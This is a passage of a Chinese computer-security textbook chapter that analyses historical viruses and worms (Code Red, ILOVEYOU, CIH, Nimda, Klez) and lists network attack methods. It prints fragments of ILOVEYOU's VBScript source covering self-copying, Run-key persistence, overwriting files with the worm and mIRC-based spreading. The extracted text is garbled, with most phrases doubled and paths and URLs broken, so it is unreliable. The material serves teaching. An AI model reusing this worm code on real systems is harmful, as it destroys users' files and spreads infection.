101、它判断是否在打开文将在所有的文件操作中被激活,它判断是否在打开文件,如是就打开并传染之。病毒发作时,该模块会覆件,如是就打开并传染之。病毒发作时,该模块会覆盖硬盘中的绝大多数数据和盖硬盘中的绝大多数数据和Flash BIOS中的数据。只中的数据。只要计算机的微处理器是要计算机的微处理器是Pentium Intel 430TX,一旦,一旦Flash BIOS被覆盖掉,那么机器将不能启动,只有将被覆盖掉,那么机器将不能启动,只有将Flash BIOS进行重写之后才行。进行重写之后才行。5. 其他编制技术其他编制技术在在Windows病毒编制技术中,除了上述几种典型技术病毒编制技术中,除了上述几种典

102、型技术外,还有另外一些方法也较常用,例如,有的病毒程外,还有另外一些方法也较常用,例如,有的病毒程序对程序错误进行屏蔽,使得错误程序继续执行,从序对程序错误进行屏蔽,使得错误程序继续执行,从而引起系统损坏。还有的病毒程序是对系统进程进行而引起系统损坏。还有的病毒程序是对系统进程进行控制,通过注册远程线程的方法,使得系统进程无限控制,通过注册远程线程的方法,使得系统进程无限循环,进程堆积,机器效率逐渐变低,最后使得系统循环,进程堆积,机器效率逐渐变低,最后使得系统瘫痪。对于邮件型病毒,可以通过提取瘫痪。对于邮件型病毒,可以通过提取Windows地址地址簿文件(簿文件(*.wab)的)的E-mai

103、l信息,不断发送邮件,造信息,不断发送邮件,造成系统灾难。成系统灾难。1. “红色代码红色代码”病毒病毒“红色代码红色代码”是一种专门攻击是一种专门攻击Windows NT 4.0以及以及Windows 2000系统的恶性网络蠕虫系统的恶性网络蠕虫VirtualRoot(虚(虚拟目录)病毒。该病毒利用微软拟目录)病毒。该病毒利用微软Index Server(ida/idq)ISAPI扩展远程溢出漏洞,通过扩展远程溢出漏洞,通过80端端口发送一个构造后的口发送一个构造后的HTTP GET请求到服务器,当请求到服务器,当本地本地IIS服务程序收到某个来自服务程序收到某个来自CodeRedII发的请

104、求数发的请求数据包时,由于存在漏洞,导致处理函数的堆栈溢出据包时,由于存在漏洞,导致处理函数的堆栈溢出(Overflow)。当函数返回时,原返回地址已被病毒)。当函数返回时,原返回地址已被病毒数据包覆盖,系统强迫运行病毒代码,此时病毒被激数据包覆盖,系统强迫运行病毒代码,此时病毒被激活,并运行在活,并运行在IIS服务程序的堆栈中。服务程序的堆栈中。7.2.4 典型典型Windows病毒分析病毒分析这种蠕虫病毒修改这种蠕虫病毒修改Windows注册表并放置特洛伊木马注册表并放置特洛伊木马程序(将程序(将cmd.exe改名为改名为boot.exe),并将),并将cmd.exe文文件复制到别的目录,

105、这些目录包括,件复制到别的目录,这些目录包括,c:inetpubscriptsroot.exe; d:inetpubscriptsroot.exe; c:program filescommon filessystemmsadcroot.exe; d:program filescommon filessystemmsadcroot.exe. 显然原来的显然原来的cmd.exe的文件被从的文件被从Windows NT的的System目录复制到了别的目录,给黑客的入侵敞开了目录复制到了别的目录,给黑客的入侵敞开了大门。不仅如此,该网络蠕虫程序还会修改系统的注大门。不仅如此,该网络蠕虫程序还会修改系统

106、的注册表项目:册表项目:HKEY_LOCAL_MACHINESYSTEMCURRENTCONTROLSETSERVICESW3 SVCPARAMETERSVIRTUALROOTS 通过该项目的修改,该蠕虫程序可以建立虚拟的目录通过该项目的修改,该蠕虫程序可以建立虚拟的目录C或者或者D,病毒名由此而来。受感染的机器可由黑客,病毒名由此而来。受感染的机器可由黑客们通过们通过HTTP GET的请求运行的请求运行scripts/root.exe来获得来获得对受感染机器的完全的控制权。对受感染机器的完全的控制权。该网络蠕虫的主线程检查该网络蠕虫的主线程检查2个不同的标记:第一个标个不同的标记:第一个标记

107、是记是29A(29A是国外最著名的病毒编写组织的代号)是国外最著名的病毒编写组织的代号),该标记控制该网络蠕虫程序的安装;第二个标记是,该标记控制该网络蠕虫程序的安装;第二个标记是检查是否有检查是否有“CodeRed II”,如果存在的话,该网络蠕,如果存在的话,该网络蠕虫程序进入无限的休眠状态。虫程序进入无限的休眠状态。 病毒激活时,网络蠕虫程序会检查当前的系统的语言,病毒激活时,网络蠕虫程序会检查当前的系统的语言,如果默认的语言是汉字系统,不管是简体的还是繁体如果默认的语言是汉字系统,不管是简体的还是繁体的汉字系统,它会建立的汉字系统,它会建立600个新的线程;如果不是这个新的线程;如果不

108、是这两种系统语言的话,该网络蠕虫程序建立两种系统语言的话,该网络蠕虫程序建立300个线程。个线程。每一个线程产生一组随机的每一个线程产生一组随机的IP地址,并寻找其中可以地址,并寻找其中可以感染的目标机器。感染的目标机器。这些线程不断感染别的机器,当感染一台服务器成功这些线程不断感染别的机器,当感染一台服务器成功了以后,如果受感染的机器是中文系统,该程序会休了以后,如果受感染的机器是中文系统,该程序会休眠眠2天,别的机器休眠天,别的机器休眠1天。当休眠的时间到了以后,天。当休眠的时间到了以后,该蠕虫程序会使得机器重新启动。同时该蠕虫也会检该蠕虫程序会使得机器重新启动。同时该蠕虫也会检查机器的月

109、份是否是查机器的月份是否是10月或者年份是否是月或者年份是否是2002年,如年,如果是的话,受感染的服务器也会重新启动。果是的话,受感染的服务器也会重新启动。 当当Windows NT系统启动时,系统启动时,NT系统会自动搜索系统会自动搜索C盘盘根目录下的文件根目录下的文件Explorer.exe。受该网络蠕虫程序感。受该网络蠕虫程序感染的服务器上的文件染的服务器上的文件explorer.exe,也就是该网络蠕,也就是该网络蠕虫程序本身。该文件虫程序本身。该文件explorer.exe的大小是的大小是8192B,该,该网络蠕虫程序就是通过该程序来执行的。网络蠕虫程序就是通过该程序来执行的。 它

110、同时还会修改系统的注册表项目:它同时还会修改系统的注册表项目: HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSNTCURRENTVERSION WINLOGON 将其中的数值将其中的数值SFCDisable设置成设置成 0xFFFFFF9D ,使得使得系统启动时不检查系统文件的完整性。系统启动时不检查系统文件的完整性。2. “I LOVE YOU”病毒病毒 “I LOVE YOU”病毒是用病毒是用vbscript写出来的通过写出来的通过E-mail散布的病毒。打开邮件的附件时,含有病毒的脚散布的病毒。打开邮件的附件时,含有病毒的脚本程序运行,该病毒首先将自

111、身复制到下列目录中:本程序运行,该病毒首先将自身复制到下列目录中:$windir/Win32DLL.vbs ($windir = c:windows on most windows systems)$systemdir/MSKernel32.vbs ($systemdir = c:windowssystem)$windir/LOVE-LETTER-FOR-YOU.TXT.vbs然后将这些文件加载到注册表中以便在启动时自动运然后将这些文件加载到注册表中以便在启动时自动运行。并且改变默认的行。并且改变默认的IE浏览页面,通过该页面可下载浏览页面,通过该页面可下载一个可执行的代码,下载完毕后再将其加

112、入注册表,一个可执行的代码,下载完毕后再将其加入注册表,并把并把IE的默认浏览页面再改为的默认浏览页面再改为about:bland。接下来该病毒扫描硬盘及网络共享硬盘,寻找后缀为接下来该病毒扫描硬盘及网络共享硬盘,寻找后缀为vbs、vbe、js、jse、css、wsh、sct、hta、vbs、jpg、jpeg 的文件,并将所有这些文件改变成这个病毒,的文件,并将所有这些文件改变成这个病毒,当发现有当发现有mp2或者或者mp3格式的文件时,将自身复制到格式的文件时,将自身复制到同样目录下的一个同样目录下的一个vbs script中,若找到中,若找到mIRC时则建时则建立一个小的立一个小的mIRC

113、 script(可以发送(可以发送html页面),这页面),这样就可以对所有加入所在频道的所有用户发送样就可以对所有加入所在频道的所有用户发送html并并感染对方的感染对方的IE。当感染了病毒的。当感染了病毒的IE运行时,会将其运行时,会将其共享密码及共享密码及IP地址通过地址通过E-mail发送回指定的地址。发送回指定的地址。该病毒修改注册表部分源代码如下:该病毒修改注册表部分源代码如下:Set fso = CreateObject(Scripting.FileSystemObject) Set dirwin = fso.GetSpecialFolder(0) Set dirsystem =

114、 fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&MSKernel32.vbs) c.Copy(dirwin&Win32DLL.vbs) c.Copy(dirsystem&LOVE-LETTER-FOR-YOU.TXT.vbs) Dim num,downread regcreate HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

115、MSKernel32, dirsystem&MSKernel32.vbs regcreate HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices Win32DLL,dirwin&Win32DLL.vbs downread= downread=regget(HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDownload Directory) if (downread=) then downread=c: end if if (fileexist(dirsys

116、tem&WinFAT32.exe)=1) then Randomize num = Int(4 * Rnd) + 1) if num = 1 then regcreate HKCUSoftwareMicrosoftInternet ExplorerMainStart Page,http:/ elseif num = 2 then regcreate HKCUSoftwareMicrosoftInternet ExplorerMainStart Page, http:/ elseif num = 3 then regcreate HKCUSoftwareMicrosoftInternet Exp

117、lorerMainStart Page, http:/ elseif num = 4 then regcreate HKCUSoftwareMicrosoftInternet ExplorerMainStart Page, http:/ end if end if if (fileexist(downread&WINBUGSFIX.exe)=0) then regcreate HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersio nRunWIN-BUGSFIX,downread&WIN-BUGSFIX.exe regcreate HKE

118、Y_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain Start Page,about:blank end if该病毒感染文件部分源代码如下:该病毒感染文件部分源代码如下:On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(

119、f1.name) if (ext=vbs) or (ext=vbe) then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext=js)or(ext=jse)or(ext=css)or(ext=wsh)or(ext=sct)or(ext=hta) then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1

120、.path) cop.copy(folderspec&bname&.vbs) fso.DeleteFile(f1.path) elseif(ext=jpg) or (ext=jpeg) then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&.vbs) fso.DeleteFile(f1.path) elseif(ext=mp3) or (ext=mp2) then set mp3=fso.CreateTextFile

121、(f1.path&.vbs) mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eqfolderspec) then if (s=mirc32.exe) or (s=mlink32.exe) or (s=mirc.ini) or (s=script.ini) or (s=mirc.hlp) then set scriptini=fso.CreateTextFile(folderspec&script.ini) scriptini.WriteLin

122、e script scriptini.WriteLine ;mIRC Script scriptini.WriteLine ; Please dont edit this script. mIRC will corru pt, if mIRC will scriptini.WriteLine corrupt. WINDOWS will affect and will not run correctly. thanks scriptini.WriteLine ; scriptini.WriteLine ;Khaled Mardam-Bey scriptini.WriteLine ;http:/

123、scriptini.WriteLine ; scriptini.WriteLine n0=on 1:JOIN:#: scriptini.WriteLine n1= /if ( $nick = $me ) halt scriptini.WriteLine n2= /.dcc send $nick &dirsystem&LOVE-LETTER-FO R-YOU.HTM scriptini.WriteLine n3= scriptini.close eq=folderspec end if end if 3. CIH家族家族病毒别名:病毒别名:PE_CIH、CIHV、SPACEFILLER、VIN3

124、2、CHERNOBYL、TSHERNOBYL、TSERNOBYL、Win95.CIH、Win32.CIH感染类型:驻留型文件型病毒感染类型:驻留型文件型病毒(1) CIH病毒病毒V1.0版本版本最初的最初的 V1.0版本仅仅只有版本仅仅只有 656B,其雏形显得比较简,其雏形显得比较简单,与普通类型的病毒在结构上并无多大的改善,可单,与普通类型的病毒在结构上并无多大的改善,可感染感染Microsoft Windows PE类可执行文件,被其感染类可执行文件,被其感染的程序文件长度增加,此版本的的程序文件长度增加,此版本的CIH不具有破坏性。不具有破坏性。(2) CIH病毒病毒V1.1版本版本当

125、当CIH发展到发展到V1.1版本时,病毒长度为版本时,病毒长度为796B,此版本,此版本的的CIH病毒具有可判断病毒具有可判断Windows NT软件的功能,一软件的功能,一旦判断用户运行的是旦判断用户运行的是Windows NT,则不发生作用,则不发生作用,进行自我隐藏,以避免产生错误提示信息,同时使用进行自我隐藏,以避免产生错误提示信息,同时使用了更加优化的代码,以缩减其长度。此版本的了更加优化的代码,以缩减其长度。此版本的CIH另另外一个优秀点在于其可以利用外一个优秀点在于其可以利用WIN PE类可执行文件类可执行文件中的中的“空隙空隙”,将自身根据需要分裂成几个部分后,将自身根据需要分

126、裂成几个部分后,分别插入到分别插入到PE类可执行文件中,这样做的优点是在类可执行文件中,这样做的优点是在感染大部分感染大部分WIN PE类文件时,不会导致文件长度增类文件时,不会导致文件长度增加。加。(3) CIH病毒病毒V1.2版本版本CIH V1.2版本改正了一些版本改正了一些V1.1版本的缺陷,同时增加版本的缺陷,同时增加了破坏用户硬盘以及用户主机了破坏用户硬盘以及用户主机BIOS程序的代码,这程序的代码,这一改进,使其步入恶性病毒的行列,此版本的一改进,使其步入恶性病毒的行列,此版本的CIH病病毒体长度为毒体长度为1003B。(4) CIH病毒病毒V1.3版本版本原先原先V1.2版本的

127、版本的CIH病毒最大的缺陷在于当其感染病毒最大的缺陷在于当其感染ZIP自解压包文件自解压包文件(ZIP self-extractors file)时,将导致时,将导致此此ZIP压缩包在自解压时出现:压缩包在自解压时出现:WinZip Self-Extractor header corrupt.Possible cause: disk or file transfer error.的错误警告信息。的错误警告信息。V1.3版本的版本的CIH病毒显得比较仓促,病毒显得比较仓促,其改进点便是针对以上缺陷的。它的改进方法是:一其改进点便是针对以上缺陷的。它的改进方法是:一旦判断开启的文件是旦判断开启的文

128、件是WinZip类的自解压程序,则不类的自解压程序,则不进行感染。同时,此版本的进行感染。同时,此版本的CIH病毒修改了发作时间病毒修改了发作时间为每年的为每年的6月月26日。日。V1.3版本的版本的CIH病毒长度为病毒长度为1010B。(5) CIH病毒病毒V1.4版本版本此版本的此版本的CIH病毒改进了上几个版本中的缺陷,不感病毒改进了上几个版本中的缺陷,不感染染ZIP自解压包文件,同时修改了发作日期为每月的自解压包文件,同时修改了发作日期为每月的26日及病毒中的版权信息日及病毒中的版权信息(版本信息被更改为:版本信息被更改为:“CIH V1.4 TATUNG”,在以前版本中的相关信息为,

129、在以前版本中的相关信息为“CIH V1.x TTIT”),此版本的长度为,此版本的长度为1019B。网络病毒是指能在网络中传播、复制及破坏并以网络网络病毒是指能在网络中传播、复制及破坏并以网络为平台,对计算机产生安全威胁的所有程序的总和。为平台,对计算机产生安全威胁的所有程序的总和。一般来说,病毒传播通过网络平台,从一台机器传染一般来说,病毒传播通过网络平台,从一台机器传染到另一台机器,然后传遍网上的全部机器。一般发现到另一台机器,然后传遍网上的全部机器。一般发现网络上有一个站点上有病毒,那么其他站点也会有类网络上有一个站点上有病毒,那么其他站点也会有类似病毒。一个网络系统只要有入口站点,那么

130、,就很似病毒。一个网络系统只要有入口站点,那么,就很有可能感染上网络病毒,使病毒在网上的传播扩散,有可能感染上网络病毒,使病毒在网上的传播扩散,甚至会破坏系统。甚至会破坏系统。7.3 网络病毒分析网络病毒分析 7.3.1 网络病毒的特点网络病毒的特点病毒在网络环境下的传播,实际上是按病毒在网络环境下的传播,实际上是按“客户机客户机服服务器务器客户机客户机”这种方式进行数据的循环传播。因此,这种方式进行数据的循环传播。因此,网络病毒除了具有可传播性、可执行性、破坏性等计网络病毒除了具有可传播性、可执行性、破坏性等计算机病毒的共性外,还具有一些新的特点。算机病毒的共性外,还具有一些新的特点。 (1

131、) 感染速度快感染速度快 在单机环境下,病毒只能通过介质从一台计算机传染在单机环境下,病毒只能通过介质从一台计算机传染到另一台,而在网络中则可以通过网络通信机制进行到另一台,而在网络中则可以通过网络通信机制进行迅速扩散。根据测定,在网络正常工作情况下,只要迅速扩散。根据测定,在网络正常工作情况下,只要有一台工作站有病毒,就可在几十分钟内将网上的数有一台工作站有病毒,就可在几十分钟内将网上的数百台计算机全部感染。百台计算机全部感染。 (2) 扩散面广扩散面广 由于病毒在网络中扩散非常快,扩散范围很大,不但由于病毒在网络中扩散非常快,扩散范围很大,不但能迅速传染局域网内所有计算机,还能通过远程工作

132、能迅速传染局域网内所有计算机,还能通过远程工作站将病毒在一瞬间传播到千里之外。站将病毒在一瞬间传播到千里之外。 (3) 传播的形式复杂多样传播的形式复杂多样 计算机病毒在网络上一般是通过计算机病毒在网络上一般是通过“工作站工作站服务器服务器工作站工作站”的途径进行传播的,但现在病毒技术进步了的途径进行传播的,但现在病毒技术进步了不少,传播的形式复杂多样。不少,传播的形式复杂多样。 (4) 难于彻底清除难于彻底清除 单机上的计算机病毒有时可以通过杀毒文件来解决。单机上的计算机病毒有时可以通过杀毒文件来解决。低级格式化硬盘等措施能将病毒彻底清除。而网络中低级格式化硬盘等措施能将病毒彻底清除。而网络

133、中只要有一台工作站未能清除干净,就可使整个网络重只要有一台工作站未能清除干净,就可使整个网络重新被病毒感染,甚至刚刚完成杀毒工作的一台工作站,新被病毒感染,甚至刚刚完成杀毒工作的一台工作站,就有可能被网上另一台带毒工作站所感染。因此,仅就有可能被网上另一台带毒工作站所感染。因此,仅对工作站进行杀毒,并不能解决病毒对网络的危害。对工作站进行杀毒,并不能解决病毒对网络的危害。 (5) 破坏性大破坏性大 网络病毒将直接影响网络的工作,轻则降低速度,影网络病毒将直接影响网络的工作,轻则降低速度,影响工作效率,重则使网络崩溃,破坏服务器信息,使响工作效率,重则使网络崩溃,破坏服务器信息,使工作毁于一旦。

134、工作毁于一旦。(6) 可激发性可激发性 网络病毒激发的条件多样化,可以是内部时钟、系统网络病毒激发的条件多样化,可以是内部时钟、系统的日期和用户名,也可以是网络的一次通信等。一个的日期和用户名,也可以是网络的一次通信等。一个病毒程序可以按照病毒设计者的要求,在某个工作站病毒程序可以按照病毒设计者的要求,在某个工作站上激发并发出攻击。上激发并发出攻击。 (7) 潜在性潜在性 网络一旦感染了病毒,即使病毒已被清除,其潜在的网络一旦感染了病毒,即使病毒已被清除,其潜在的危险性也是巨大的。根据统计,病毒在网络上被清除危险性也是巨大的。根据统计,病毒在网络上被清除后,后,85的网络在的网络在30天内会被

135、再次感染。天内会被再次感染。 网络病毒程序攻击手段可分为非破坏性攻击和破坏性网络病毒程序攻击手段可分为非破坏性攻击和破坏性攻击两类。非破坏性攻击一般是为了扰乱系统的运行,攻击两类。非破坏性攻击一般是为了扰乱系统的运行,并不盗窃系统资料,通常采用拒绝服务攻击或信息炸并不盗窃系统资料,通常采用拒绝服务攻击或信息炸弹;破坏性攻击是以侵入他人计算机系统、盗窃系统弹;破坏性攻击是以侵入他人计算机系统、盗窃系统保密信息、破坏目标系统的数据为目的。保密信息、破坏目标系统的数据为目的。7.3.2 网络病毒常用攻击方法网络病毒常用攻击方法1. 设置网络木马(设置网络木马(Trojan)该方法是利用系统漏洞进入用

136、户的计算机系统,通过该方法是利用系统漏洞进入用户的计算机系统,通过修改注册表自启动,运行时有意不让用户察觉,将用修改注册表自启动,运行时有意不让用户察觉,将用户计算机中的所有信息都暴露在网络中。大多数黑客户计算机中的所有信息都暴露在网络中。大多数黑客程序的服务器端都是木马病毒。程序的服务器端都是木马病毒。2. 网络监听网络监听 网络监听是一种监视网络状态、数据流以及网络上传网络监听是一种监视网络状态、数据流以及网络上传输信息的管理工具,它可以将网络接口设置为监听模输信息的管理工具,它可以将网络接口设置为监听模式,并且可以截获网上传输的信息,也就是说,当黑式,并且可以截获网上传输的信息,也就是说

137、,当黑客登录网络主机并取得超级用户权限后,若要登录其客登录网络主机并取得超级用户权限后,若要登录其他主机,使用网络监听可以有效地截获网上的数据,他主机,使用网络监听可以有效地截获网上的数据,这是黑客使用最多的方法。这是黑客使用最多的方法。 3. 网络蠕虫(网络蠕虫(Worm)网络蠕虫病毒是指利用网络缺陷和网络新技术,对自网络蠕虫病毒是指利用网络缺陷和网络新技术,对自身进行大量复制的病毒程序。比如说:身进行大量复制的病毒程序。比如说:“求职信求职信”病病毒,是利用邮件系统这一大众化的平台,将自己传遍毒,是利用邮件系统这一大众化的平台,将自己传遍千家万户;千家万户;“密码密码”病毒,是利用人们的好

138、奇心理,病毒,是利用人们的好奇心理,诱使用户来主动运行病毒;诱使用户来主动运行病毒;“尼姆达尼姆达”病毒,则是综病毒,则是综合了系统病毒的方法,利用感染文件来加速自己的传合了系统病毒的方法,利用感染文件来加速自己的传播。播。4. 捆绑器病毒(捆绑器病毒(Binder)捆绑器病毒是一个很新的概念,人们编写这些程序的捆绑器病毒是一个很新的概念,人们编写这些程序的最初目的是希望通过一次点击可以同时运行多个程序,最初目的是希望通过一次点击可以同时运行多个程序,然而这一工具却成了病毒的新帮凶。比如说,用户可然而这一工具却成了病毒的新帮凶。比如说,用户可以将一个小游戏与病毒通过捆绑器程序捆绑,当用户以将一

139、个小游戏与病毒通过捆绑器程序捆绑,当用户运行游戏时,病毒也会同时悄悄地运行,给计算机造运行游戏时,病毒也会同时悄悄地运行,给计算机造成危害。成危害。由于捆绑器会将两个程序重新组合,产生一个自己的由于捆绑器会将两个程序重新组合,产生一个自己的特殊格式,所以捆绑器程序的出现,使新变种病毒产特殊格式,所以捆绑器程序的出现,使新变种病毒产生的速度大大增加了。生的速度大大增加了。5. 新帮凶新帮凶网页病毒网页病毒网页病毒是利用网页来进行破坏的病毒,它存在于网网页病毒是利用网页来进行破坏的病毒,它存在于网页之中,其实是利用一些页之中,其实是利用一些Script语言编写的一些恶意语言编写的一些恶意代码。当用

140、户登录某些含有网页病毒的网站时,网页代码。当用户登录某些含有网页病毒的网站时,网页病毒便被悄悄激活,这些病毒一旦激活,可以利用系病毒便被悄悄激活,这些病毒一旦激活,可以利用系统的一些资源进行破坏。轻则修改用户的注册表,使统的一些资源进行破坏。轻则修改用户的注册表,使用户的首页、浏览器标题改变,重则可以关闭系统的用户的首页、浏览器标题改变,重则可以关闭系统的很多功能,使用户无法正常使用计算机系统,严重者很多功能,使用户无法正常使用计算机系统,严重者则可以将用户的系统进行格式化。而这种网页病毒容则可以将用户的系统进行格式化。而这种网页病毒容易编写和修改,使用户防不胜防,最好的方法是选用易编写和修改

141、,使用户防不胜防,最好的方法是选用有网页监控功能的杀毒软件。有网页监控功能的杀毒软件。6. 后门程序后门程序 由于程序员在设计一些功能复杂的程序时,一般采用由于程序员在设计一些功能复杂的程序时,一般采用模块化的程序设计思想,将整个项目分割为多个功能模块化的程序设计思想,将整个项目分割为多个功能模块,分别进行设计、调试,这时的后门就是一个模模块,分别进行设计、调试,这时的后门就是一个模块的秘密入口。在程序开发阶段,后门便于测试、更块的秘密入口。在程序开发阶段,后门便于测试、更改和增强模块功能。正常情况下,完成设计之后需要改和增强模块功能。正常情况下,完成设计之后需要去掉各个模块的后门,不过有时由

142、于疏忽或者其他原去掉各个模块的后门,不过有时由于疏忽或者其他原因因(如将其留在程序中,便于日后访问、测试或维护如将其留在程序中,便于日后访问、测试或维护)后门没有去掉,一些别有用心的人会利用穷举搜索法后门没有去掉,一些别有用心的人会利用穷举搜索法发现并利用这些后门,然后进入系统并发动攻击。发现并利用这些后门,然后进入系统并发动攻击。 7. 黑客程序(黑客程序(Hack)黑客程序产生的年代由来已久,但在过去,从没有人黑客程序产生的年代由来已久,但在过去,从没有人将它看做是病毒,理由是黑客程序只是一个工具,它将它看做是病毒,理由是黑客程序只是一个工具,它有界面又不会传染,不能算作病毒。有界面又不会

143、传染,不能算作病毒。而随着网络的发展与人们日益增长的安全需求,必须而随着网络的发展与人们日益增长的安全需求,必须重新来看待黑客程序。黑客程序一般都有攻击性,它重新来看待黑客程序。黑客程序一般都有攻击性,它会利用漏洞在远程控制计算机,甚至直接破坏计算机;会利用漏洞在远程控制计算机,甚至直接破坏计算机;黑客程序通常会在用户的计算机中植入一个木马病毒,黑客程序通常会在用户的计算机中植入一个木马病毒,与木马病毒内外勾结,对计算机安全构成威胁。所以与木马病毒内外勾结,对计算机安全构成威胁。所以黑客程序也是一种网络病毒。黑客程序也是一种网络病毒。8. 信息炸弹信息炸弹 信息炸弹是指使用一些特殊工具软件,短

144、时间内向目信息炸弹是指使用一些特殊工具软件,短时间内向目标服务器发送大量超出系统负荷的信息,造成目标服标服务器发送大量超出系统负荷的信息,造成目标服务器超负荷、网络堵塞、系统崩溃的攻击手段。比如务器超负荷、网络堵塞、系统崩溃的攻击手段。比如向未打补丁的向未打补丁的Windows 95系统发送特定组合的系统发送特定组合的UDP数据包,会导致目标系统死机或重启;向某型号的路数据包,会导致目标系统死机或重启;向某型号的路由器发送特定数据包致使路由器死机;向某人的电子由器发送特定数据包致使路由器死机;向某人的电子邮件发送大量的垃圾邮件将此邮箱邮件发送大量的垃圾邮件将此邮箱“撑爆撑爆”等。目前等。目前常

145、见的信息炸弹有邮件炸弹、逻辑炸弹等。常见的信息炸弹有邮件炸弹、逻辑炸弹等。9. 拒绝服务拒绝服务 又叫分布式又叫分布式DoS攻击,它是使用超出被攻击目标处理攻击,它是使用超出被攻击目标处理能力的大量数据包消耗系统可用系统、带宽资源,最能力的大量数据包消耗系统可用系统、带宽资源,最后致使网络服务器瘫痪的一种攻击手段。作为攻击者,后致使网络服务器瘫痪的一种攻击手段。作为攻击者,首先需要通过常规的黑客手段侵入并控制某个网站,首先需要通过常规的黑客手段侵入并控制某个网站,然后在服务器上安装并启动一个可由攻击者发出的特然后在服务器上安装并启动一个可由攻击者发出的特殊指令来控制进程,攻击者把攻击对象的殊指

146、令来控制进程,攻击者把攻击对象的IP地址作为地址作为指令下达给进程的时候,这些进程就开始对目标主机指令下达给进程的时候,这些进程就开始对目标主机发起攻击。这种方式可以集中大量的网络服务器带宽,发起攻击。这种方式可以集中大量的网络服务器带宽,对某个特定目标实施攻击,因而威力巨大,顷刻之间对某个特定目标实施攻击,因而威力巨大,顷刻之间就可以使被攻击目标带宽资源耗尽,导致服务器瘫痪。就可以使被攻击目标带宽资源耗尽,导致服务器瘫痪。1. 尼姆达病毒尼姆达病毒 尼姆达病毒是一种蠕虫病毒,病毒长度尼姆达病毒是一种蠕虫病毒,病毒长度57344B,主,主要感染要感染Windows 9x/NT/2000/XP中

147、的系统文件。病毒中的系统文件。病毒的主要特征是:感染时,将被感染文件藏于体内。运的主要特征是:感染时,将被感染文件藏于体内。运行时,该病毒藏身于行时,该病毒藏身于IE体内。以高优先级进行循环传体内。以高优先级进行循环传染。病毒通过局域网快速传播。染。病毒通过局域网快速传播。7.3.3 常见网络病毒分析常见网络病毒分析该病毒的感染沿袭了原尼姆达病毒的感染方式,病毒该病毒的感染沿袭了原尼姆达病毒的感染方式,病毒运行时会查询注册表运行时会查询注册表SOFTWAREMicrosoftWindowsCurrentVersionApp Paths的值,感染该项里的所有注册文件。感染时的值,感染该项里的所有

148、注册文件。感染时会将目标文件放入病毒的资源段内,即病毒不是将自会将目标文件放入病毒的资源段内,即病毒不是将自身代码插入被感染的文件体内,而是直接将被感染文身代码插入被感染的文件体内,而是直接将被感染文件件“吞吞”到自己的肚子里。然后病毒会将自己的文件到自己的肚子里。然后病毒会将自己的文件名改成被感染文件的文件名。当不知情的用户想运行名改成被感染文件的文件名。当不知情的用户想运行原来的文件时,病毒便会首先取得运行权,然后从自原来的文件时,病毒便会首先取得运行权,然后从自己体内将原来的文件释放出来并执行,使用户无法察己体内将原来的文件释放出来并执行,使用户无法察觉到异常。觉到异常。运行时,病毒会通

149、过查询注册表信息得到运行时,病毒会通过查询注册表信息得到IE的进程号,的进程号,然后将病毒体注入到然后将病毒体注入到IE的进程空间内。如果成功,病的进程空间内。如果成功,病毒将在毒将在explorer进程空间中执行病毒的主体,这样病进程空间中执行病毒的主体,这样病毒运行时就能躲过一些对内存比较了解的用户的查看。毒运行时就能躲过一些对内存比较了解的用户的查看。病毒运行时会提升自己的线程优先级,并且每隔病毒运行时会提升自己的线程优先级,并且每隔30s就重复一次传染流程。在局域网内,病毒会枚举局域就重复一次传染流程。在局域网内,病毒会枚举局域网内的所有计算机,并对其共享目录进行搜索。当病网内的所有计

150、算机,并对其共享目录进行搜索。当病毒发现有系统文件时就尝试感染该文件。如被搜索目毒发现有系统文件时就尝试感染该文件。如被搜索目录存在录存在doc文件时,病毒便会将自己复制到该目录下,文件时,病毒便会将自己复制到该目录下,并将自身命名为并将自身命名为_setup.exe和和riched20.dll。只要用户。只要用户双击该双击该doc文件,系统便会自动执行这两个病毒文件,文件,系统便会自动执行这两个病毒文件,造成病毒在被感染的计算机上被激活,导致病毒再一造成病毒在被感染的计算机上被激活,导致病毒再一次重复感染动作。次重复感染动作。病毒运行时还将激活当前系统的病毒运行时还将激活当前系统的guest

151、账号并将其加账号并将其加入到管理员组中,使其具有管理员的权限,然后病毒入到管理员组中,使其具有管理员的权限,然后病毒就能通过该通道进行非法操作。病毒还会将当前的就能通过该通道进行非法操作。病毒还会将当前的A至至Z盘变成共享,使任何外界的黑客程序都可以无障盘变成共享,使任何外界的黑客程序都可以无障碍地访问计算机中的信息,并且病毒还会感染这些共碍地访问计算机中的信息,并且病毒还会感染这些共享磁盘中的所有系统文件,使其全部带毒。享磁盘中的所有系统文件,使其全部带毒。2. 求职信病毒求职信病毒求职信病毒也是一种蠕虫病毒,病毒长度求职信病毒也是一种蠕虫病毒,病毒长度59KB。该。该病毒基本分为两部分:第

152、一部分是狭义上的病毒,它病毒基本分为两部分:第一部分是狭义上的病毒,它感染感染PE结构文件,病毒大小约为结构文件,病毒大小约为3KB,用汇编语言,用汇编语言编写;第二部分是蠕虫编写;第二部分是蠕虫,大小为大小为56KB,它在运行中会,它在运行中会释放并运行一个释放并运行一个11722B的带毒的的带毒的PE文件。第二部分文件。第二部分是用是用VC+编写的,它只可以在编写的,它只可以在Windows 9x或或Windows 2000上运行,在上运行,在Windows NT 4.0上无法运上无法运行。求职信病毒的传播通常采用以下几种方式:行。求职信病毒的传播通常采用以下几种方式:(1) 通过因特网邮

